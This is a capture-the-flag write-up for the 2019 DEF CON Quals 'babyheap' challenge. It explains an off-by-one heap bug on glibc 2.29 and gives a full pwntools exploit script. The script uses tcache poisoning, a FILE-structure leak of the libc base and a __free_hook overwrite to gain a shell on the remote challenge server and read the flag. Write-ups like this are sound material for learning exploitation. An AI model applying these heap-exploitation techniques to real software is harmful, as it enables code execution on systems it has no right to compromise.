比赛期间在运维本校比赛就没咋做…speedrun了一些…感觉还没有做到ooo的精华部分.只做了些热身

babyheap

An interesting challenge about off_by_one on glibc-2.29

Analysis

  • checksec
    1
    2
    3
    4
    5
    6
    7
    8
    ➜  Desktop checksec DCQ/babyheap 
    [*] '/home/n132/Desktop/DCQ/babyheap'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    FORTIFY: Enabled

off_by_one:

1
2
3
4
5
6
7
8
while ( buf != 10 && buf )
{
*(_BYTE *)(v4->ptr + v3) = buf;
read(0, &buf, 1uLL);
if ( size == v3 )
return 0LL;
++v3;
}

some restricting:

  • two choices of chunk_size

    1
    2
    3
    4
    if ( (unsigned int)size <= 0xF8 )
    list[i].ptr = (__int64)malloc(0xF8uLL);
    else
    list[i].ptr = (__int64)malloc(0x178uLL);
  • 10 ptr

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    if ( list[0].ptr )
    {
    v0 = &unk_555555558070;
    for ( i = 1; ; ++i )
    {
    v0 += 2;
    if ( !*(v0 - 2) )
    break;
    }
    if ( i > 9 )
    return 4294967293LL;
    }
    else
    {
    i = 0;
    }

Solution

  • off_by_one to modify the next_chunk_head
  • free next chunk
  • call malloc and reset the fd of the next chunk
    example:
    1
    2
    3
    4
    5
    6
    7
    add()#0
    add()#1
    add()#2
    free(0)
    add(0xf8,"A"*0xf8+'\x81')
    free(1)
    add(0x1f8,"A"*0x100+'pattial_write')

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c):
cmd('M')
cmd(size)
p.sendlineafter("tent:\n> ",c)
def free(idx):
cmd('F')
p.sendlineafter("> \n",str(idx))
def Free(idx):
cmd('F')
p.sendlineafter("> ",str(idx))
def show(idx):
cmd('S')
cmd(idx)
#context.log_level='debug'
#p=process("./babyheap")
p=remote('babyheap.quals2019.oooverflow.io', 5000)

add(0xf7,"A"*0xf8)#0
add(0xf7,"A"*0xf8)#1
add(0xf7,"A"*0xf8)#2
free(0)
add(0xf8,"/bin/sh;".ljust(0xf8,"A")+"\x81")#0 off by one chun 1
for x in range(7):
add(0xf7,'A')
free(9)
free(3)
free(2)
free(4)
free(5)
free(6)
free(7)
free(1)
free(8)

for x in range(4):
add(0xf7,"A")# 1-4
add(0x178,"A"*0x100+'\x60\x9a')#5

free(1)
free(2)
add(0xf8,'A'*0xf8+'\x81')#1
add(0xf8,"A")#2
free(2)

# 26789 ==nul
# IO_leak
add(0x178,'A'*0x100+'\x50\x17')#2
add(0x78,"/bin/sh")#6
add(0x78,"/bin/sh")#7
add(0x78,"A"*0x10+p64(0xfffffffffbad1880)+'\x01'*0x18+'\x01')#8
p.read(7)
base=u64(p.read(8))-(0x7ffff7fb3570-0x7ffff7dcc000)
log.warning(hex(base))
# LEAK over

Free(5)# 59
add(0x178,'A'*0xf8+'\x01\x01')#5

Free(6)
Free(5)
add(0x178,"A"*0x100+p64(base+0x7ffff7fb35a8-0x7ffff7dcc000)[:6])

Free(2)
add(0xf8,"A")
Free(5)
add(0xf8,p64(base+0x106ef8)[:6])
#gdb.attach(p,'')
Free(0)
context.log_level='debug'
p.sendline("cat flag")
raw_input()

p.interactive()